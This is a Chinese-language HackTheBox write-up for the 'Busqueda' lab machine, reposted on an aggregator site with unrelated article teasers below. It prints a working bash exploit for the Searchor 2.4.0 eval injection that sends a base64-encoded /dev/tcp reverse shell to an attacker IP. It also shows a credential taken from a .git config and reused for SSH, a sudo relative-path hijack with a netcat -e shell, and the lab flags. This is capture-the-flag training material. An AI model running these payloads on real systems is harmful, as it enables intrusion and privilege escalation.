HTB：Busqueda[WriteUP]

news2024/11/8 16:09:32

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行开放端口扫描

使用ffuf对该域名进行路径FUZZ

直接使用浏览器访问靶机80端口主页面

直接到Github上寻找相关PoC、EXP

USER_FLAG：0f2686aebbdb4c728050281a6fb742cf

特权提升

ROOT_FLAG：dde68ef0288190408c0c3eb102398590

连接至HTB服务器并启动靶机

靶机IP：10.10.11.208

分配IP：10.10.16.22

使用nmap对靶机进行开放端口扫描

nmap -p- --min-rate=1500 -sS -sU -Pn 10.10.11.208

攻击开放两个端口：22、80。尝试先访问下靶机80端口

curl -I http://10.10.11.208:80

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.208:80
HTTP/1.1 302 Found
Date: Fri, 01 Nov 2024 06:04:33 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://searcher.htb/
Content-Type: text/html; charset=iso-8859-1

直接被重定位到了域名：searcher.htb

那就绑定一下靶机IP与该域名

echo '10.10.11.208 searcher.htb' >> /etc/hosts

再次使用curl访问该域名

curl -I http://searcher.htb/

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://searcher.htb/  
HTTP/1.1 200 OK
Date: Fri, 01 Nov 2024 06:06:14 GMT
Server: Werkzeug/2.1.2 Python/3.10.6
Content-Type: text/html; charset=utf-8
Content-Length: 13519

使用ffuf对该域名进行路径FUZZ

ffuf -u http://searcher.htb/FUZZ -w ../dictionary/common.txt

直接使用浏览器访问靶机80端口主页面

拉到页面底部可以看到一个搜索框，还能选择搜索引擎

直接使用sqlmap尝试注入一下(虽然这个位置大概率没有和数据库交互)

sqlmap -r .\temp.txt --batch --dbs

结果也是不出意外，两个点应该都是直接转到了别的搜索引擎

在浏览器底部可以找到Searchor版本：2.4.0

点击它可以跳转到Github上的发布页面，我们点击这里查看它发行过的所有版本

在v2.4.2版本可以看到修复了一个漏洞，点击查看详情

查看该补丁修复漏洞详情

查看代码更改部分

@click.argument("query")
def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
        url = Engine[engine].search(query, copy_url=copy, open_web=open)
        click.echo(url)
        searchor.history.update(engine, query, url)
        if open:

到了这里就不做代码审计了，需要学习的自行了解该py文件的代码注入方式

直接到Github上寻找相关PoC、EXP

#!/bin/bash -

default_port="9001"
port="${3:-$default_port}"
rev_shell_b64=$(echo -ne "bash  -c 'bash -i >& /dev/tcp/$2/${port} 0>&1'" | base64)
evil_cmd="',__import__('os').system('echo ${rev_shell_b64}|base64 -d|bash -i')) # junky comment"
plus="+"

echo "---[Reverse Shell Exploit for Searchor <= 2.4.2 (2.4.0)]---"

if [ -z "${evil_cmd##*$plus*}" ]
then
    evil_cmd=$(echo ${evil_cmd} | sed -r 's/[+]+/%2B/g')
fi

if [ $# -ne 0 ]
then
    echo "[*] Input target is $1"
    echo "[*] Input attacker is $2:${port}"
    echo "[*] Run the Reverse Shell... Press Ctrl+C after successful connection"
    curl -s -X POST $1/search -d "engine=Google&query=${evil_cmd}" 1> /dev/null
else 
    echo "[!] Please specify a IP address of target and IP address/Port of attacker for Reverse Shell, for example: 

./exploit.sh <TARGET> <ATTACKER> <PORT> [9001 by default]"
fi

本地侧使用nc开启监听

nc -lvnp 1425

运行EXP脚本

bash exploit.sh http://searcher.htb/ 10.10.14.11 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425                                    
listening on [any] 1425 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.208] 48886
bash: cannot set terminal process group (1639): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$ whoami
whoami
svc

查看当前目录下所有文件

ls -a

svc@busqueda:/var/www/app$ ls -a
ls -a
.  ..  app.py  .git  templates

进入.git目录下

svc@busqueda:/var/www/app$ cd .git
cd .git
svc@busqueda:/var/www/app/.git$ ls
ls
branches        config       HEAD   index  logs     refs
COMMIT_EDITMSG  description  hooks  info   objects

查看config文件内容

svc@busqueda:/var/www/app/.git$ cat config
cat config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
[remote "origin"]
        url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
        remote = origin
        merge = refs/heads/main

这里一串乱七八糟的字符串很像密码，尝试对当前用户(svc)进行SSH服务登录

ssh svc@10.10.11.208

账户：svc

密码：jh1usoih2bkjaspwe92

查找user_flag位置并查看user_flag内容

svc@busqueda:~$ find / -name 'user.txt' 2>/dev/null
/home/svc/user.txt
svc@busqueda:~$ cat /home/svc/user.txt
0f2686aebbdb4c728050281a6fb742cf

USER_FLAG：0f2686aebbdb4c728050281a6fb742cf

特权提升

查看当前用户可特权运行的命令

sudo -l

svc@busqueda:~$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *

尝试直接复制该命令sudo执行

sudo /usr/bin/python3 /opt/scripts/system-checkup.py *

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

提示需要增加一个动作，那就full-checkup

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong

输出提示有错误，进入该py脚本目录下

cd /opt/scripts/

svc@busqueda:~$ cd /opt/scripts/
svc@busqueda:/opt/scripts$ ls
check-ports.py  full-checkup.sh  install-flask.sh  system-checkup.py

再次运行命令，发现可以成功运行了

这就意味着，参数full-checkup很有可能是直接调用当前目录下的full.checkup.sh文件

回到原用户SSH登陆后默认目录

cd ~

新建一个full-checkup.sh文件，并写入payload赋执行权限

echo -e '#!/bin/bash\nnc -lvnp 1425 -e /bin/bash' > full-checkup.sh;chmod +x full-checkup.sh

本地侧nc开启监听

nc -lvnp 1425

执行特权命令

sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

获取root权限

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425                    
listening on [any] 1425 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.208] 40774
root@busqueda:/home/svc# whoami
whoami
root

查找root_flag并查看内容

root@busqueda:/home/svc# find / -name 'root.txt'
find / -name 'root.txt'
/root/root.txt
root@busqueda:/home/svc# cat /root/root.txt
cat /root/root.txt
dde68ef0288190408c0c3eb102398590

ROOT_FLAG：dde68ef0288190408c0c3eb102398590

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2235930.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

如何创建备份设备以简化 SQL Server 备份过程？

如何创建备份设备以简化 SQL Server 备份过程？

SQL Server 中的备份设备是什么&#xff1f; 在 SQL Server 中&#xff0c;备份设备是用于存储备份数据的物理或逻辑介质。备份设备可以是文件、设备或其他存储介质。主要类型包括&#xff1a; 文件备份设备&#xff1a;通常是本地文件系统中的一个或多个文件。可以是 .bak 文…
阅读更多...
c语言-8进制的表示方法

c语言-8进制的表示方法

文章目录 一、8进制二、输出格式三、范围限制四、八进制的负数五、程序 一、8进制 在C语言中&#xff0c;表示8进制数需要使用前缀数字0&#xff0c;而不是通常的o或者0x. 8进制数以数字0作为前缀&#xff0c;后面跟着一串八进制数字&#xff08;0-7&#xff09;组成&#xf…
阅读更多...
python操作MySQL以及SQL综合案例

python操作MySQL以及SQL综合案例

1.基础使用 学习目标&#xff1a;掌握python执行SQL语句操作MySQL数据库软件 打开cmd下载安装 安装成功 connection就是一个类&#xff0c;conn类对象。 因为位置不知道&#xff0c;所以使用关键字传参。 表明我们可以正常连接到MySQL 演示、执行非查询性质的SQL语句 pytho…
阅读更多...
【含开题报告+文档+源码】基于SSM的物流管理系统设计与实现

【含开题报告+文档+源码】基于SSM的物流管理系统设计与实现

开题报告 随着电子商务的迅猛发展和人们生活水平的提高&#xff0c;快递服务行业正经历着前所未有的增长。占航快递公司作为国内知名的快递企业之一&#xff0c;面临着巨大的机遇和挑战。传统的快递服务管理方式已经无法满足日益增长的业务需求&#xff0c;快递服务流程中的问…
阅读更多...
外包干了2年，快要废了。。。

外包干了2年，快要废了。。。

先说一下自己的情况&#xff0c;普通本科毕业&#xff0c;在外包干了2年多的功能测试&#xff0c;这几年因为大环境不好&#xff0c;我整个人心惊胆战的&#xff0c;怕自己卷铺盖走人了&#xff0c;我感觉自己不能够在这样蹉跎下去了&#xff0c;长时间呆在一个舒适的环境真的会…
阅读更多...
界面控件DevExpress WPF中文教程：Data Grid——卡片视图设置

界面控件DevExpress WPF中文教程：Data Grid——卡片视图设置

DevExpress WPF拥有120个控件和库&#xff0c;将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序&#xff0c;这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…
阅读更多...
使用Matlab神经网络工具箱

使用Matlab神经网络工具箱

综述 在大数据和人工智能时代&#xff0c;深度学习是一种最为常见的数据分析和拟合工具。本报告以常用分析软件Matlab为例&#xff0c;介绍如何通过编写代码实现一个简单的CNN卷积神经网络。 Step 1: 打开matlab&#xff0c;新建脚本 1、安装matlab 2018以上版本后&#xff…
阅读更多...
【系统设计——认证授权——基本概念知识】

【系统设计——认证授权——基本概念知识】

1. 认证和授权的区别 Authentication&#xff08;认证&#xff09; 是验证您的身份的凭据&#xff08;例如用户名/用户 ID 和密码&#xff09;&#xff0c;通过这个凭据&#xff0c;系统得以知道你就是你&#xff0c;也就是说系统存在你这个用户。所以&#xff0c;Authenticat…
阅读更多...
区块链技术入门：以太坊智能合约详解

区块链技术入门：以太坊智能合约详解

&#x1f493; 博客主页&#xff1a;瑕疵的CSDN主页 &#x1f4dd; Gitee主页&#xff1a;瑕疵的gitee主页 ⏩ 文章专栏&#xff1a;《热点资讯》 区块链技术入门&#xff1a;以太坊智能合约详解 区块链技术入门&#xff1a;以太坊智能合约详解 区块链技术入门&#xff1a;以太…
阅读更多...
【Spring】更加简单的将对象存入Spring中并使用

【Spring】更加简单的将对象存入Spring中并使用

前言 本期讲解&#xff1a;通过Controller、Service、Repository、Component、Configurtion类注解、Bean方法注解&#xff0c;来更加简单的在Spring中存与读对象。 目录 1. 类注解 1.1 通过标签 1.2 使用类注解 1.3 什么是类注解 1.4 获取Bean对象命名问题 2. 方法注解 …
阅读更多...
Vue（JavaScript）读取csv表格并求某一列之和（大浮点数处理: decimal.js）

Vue（JavaScript）读取csv表格并求某一列之和（大浮点数处理: decimal.js）

文章目录 想要读这个表格&#xff0c;并且求第二列所有价格的和方法一&#xff1a;通过添加文件输入元素上传csv完整&#xff08;正确&#xff09;代码之前的错误部分因为价格是小数&#xff0c;所以下面的代码出错。如果把parseFloat改成parseInt&#xff0c;那么求和没有意义…
阅读更多...
火山引擎云服务docker 安装

火山引擎云服务docker 安装

安装 Docker 登录云服务器。 执行以下命令&#xff0c;添加 yum 源。 yum update -y yum install epel-release -y yum clean all yum list依次执行以下命令&#xff0c;添加Docker CE镜像源。更多操作请参考Docker CE镜像。 # 安装必要的一些系统工具 sudo yum install -y yu…
阅读更多...
人保财险（外包）面试分享

人保财险（外包）面试分享

前言&#xff1a; 这是本月面的第三家公司&#xff0c;太难了兄弟们&#xff0c;外包都不好找了&#xff0c;临近年底&#xff0c;金九银十已经错过了&#xff0c;金三银四虽然存在&#xff0c;但按照这几年的行情&#xff0c;金九银十和金三银四其实已经是不复存在了&#xf…
阅读更多...
【D3.js in Action 3 精译_039】4.3 D3 面积图的绘制方法及其边界标签的添加

【D3.js in Action 3 精译_039】4.3 D3 面积图的绘制方法及其边界标签的添加

当前内容所在位置&#xff1a; 第四章 直线、曲线与弧线的绘制 ✔️ 4.1 坐标轴的创建&#xff08;上篇&#xff09; 4.1.1 D3 中的边距约定&#xff08;中篇&#xff09;4.1.2 坐标轴的生成&#xff08;中篇&#xff09; 4.1.2.1 比例尺的声明&#xff08;中篇&#xff09;4.1…
阅读更多...
美国大选——极具典型的可视化案例！GISer学起来

美国大选——极具典型的可视化案例！GISer学起来

有人说可视化技术有啥意义&#xff0c;不就做个大屏么&#xff1f; 那真的小看了&#xff0c;就如下图这个美国大选来看&#xff0c;这么复杂混乱的信息&#xff0c;可视化技术给你梳理的明明白白的&#xff0c;简单、直观、形象、便于记忆。 让用户能够从繁杂信息中快速抓到重…
阅读更多...
使用PyQt5设计一个简易计算器

使用PyQt5设计一个简易计算器

目录 设计UI图 代码 结果展示 设计UI图 代码 from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import QFileDialog, QMainWindow, QMessageBox from untitled import Ui_MainWindow import sysclass…
阅读更多...
数据结构-数组（稀疏矩阵转置）和广义表

数据结构-数组（稀疏矩阵转置）和广义表

目录 1、数组定义 1&#xff09;数组存储地址计算示例①行优先②列优先 2&#xff09;稀疏矩阵的转置三元组顺序表结构定义 ①普通矩阵转置②三元组顺序表转置稀疏矩阵③稀疏矩阵的快速转置 3&#xff09;十字链表结构定义 2、广义表定义 1&#xff09;基本操作①GetHead②GetT…
阅读更多...
cooladmin使用整理

cooladmin使用整理

1、后端关键字自动生成没有代码段提示&#xff0c;原因是拉取的项目代码中没有.vscode文件夹&#xff0c;复制一套至项目src同级即可 2、前端快速创建&#xff0c;在Entity完成后就去快速创建中选数据结构&#xff0c;这时没有对应的内容&#xff0c;数据结构是和controller层a…
阅读更多...
Java 网络编程（一）—— UDP数据报套接字编程

Java 网络编程（一）—— UDP数据报套接字编程

概念 在网络编程中主要的对象有两个&#xff1a;客户端和服务器。客户端是提供请求的&#xff0c;归用户使用&#xff0c;发送的请求会被服务器接收&#xff0c;服务器根据请求做出响应&#xff0c;然后再将响应的数据包返回给客户端。 作为程序员&#xff0c;我们主要关心应…
阅读更多...
Jmeter命令监控CPU等指标

Jmeter命令监控CPU等指标

JMeter 命令行执行脚本得到的报告中&#xff0c;是没有CPU、内存使用率等监控数据的&#xff0c;但是可以使用JMeter插件帮忙。 一、下载jmeter-plugins-manager.jar 下载后将文件放到jmeter安装包lib/ext目录下。打开Jmeter》菜单栏》选项》Plugins Manager 二、安装PerfMon…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023